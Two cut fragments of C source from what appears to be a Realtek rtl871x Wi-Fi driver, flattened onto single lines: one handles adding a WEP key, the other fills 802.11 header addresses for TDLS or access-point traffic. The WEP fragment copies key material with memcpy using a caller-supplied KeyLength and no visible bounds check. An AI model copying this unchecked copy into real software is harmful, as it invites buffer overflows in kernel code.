RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY:Before memcpy\n")); memcpy(wep->KeyMaterial, key->KeyMaterial, key->KeyLength); memcpy(&(padapter->securitypriv.dot11DefKey[keyindex].skey[0]), key->KeyMaterial, key->KeyLength); padapter->securitypriv.dot11DefKeylen[keyindex] = key->KeyLength; padapter->securitypriv.dot11PrivacyKeyIndex = keyindex; ret = rtw_set_802_11_add_wep(padapter, wep); goto exit; }
#ifdef CONFIG_TDLS if(pattrib->direct_link == _TRUE){ //TDLS data transfer, ToDS=0, FrDs=0 _rtw_memcpy(pwlanhdr->addr1, pattrib->dst, ETH_ALEN); _rtw_memcpy(pwlanhdr->addr2, pattrib->src, ETH_ALEN); _rtw_memcpy(pwlanhdr->addr3, get_bssid(pmlmepriv), ETH_ALEN); if (pattrib->qos_en) qos_option = _TRUE; } else #endif //CONFIG_TDLS { //to_ds = 1, fr_ds = 0; // 1.Data transfer to AP // 2.Arp pkt will relayed by AP SetToDs(fctrl); _rtw_memcpy(pwlanhdr->addr1, get_bssid(pmlmepriv), ETH_ALEN); _rtw_memcpy(pwlanhdr->addr2, pattrib->ta, ETH_ALEN); _rtw_memcpy(pwlanhdr->addr3, pattrib->dst, ETH_ALEN); if (pqospriv->qos_option) qos_option = _TRUE; }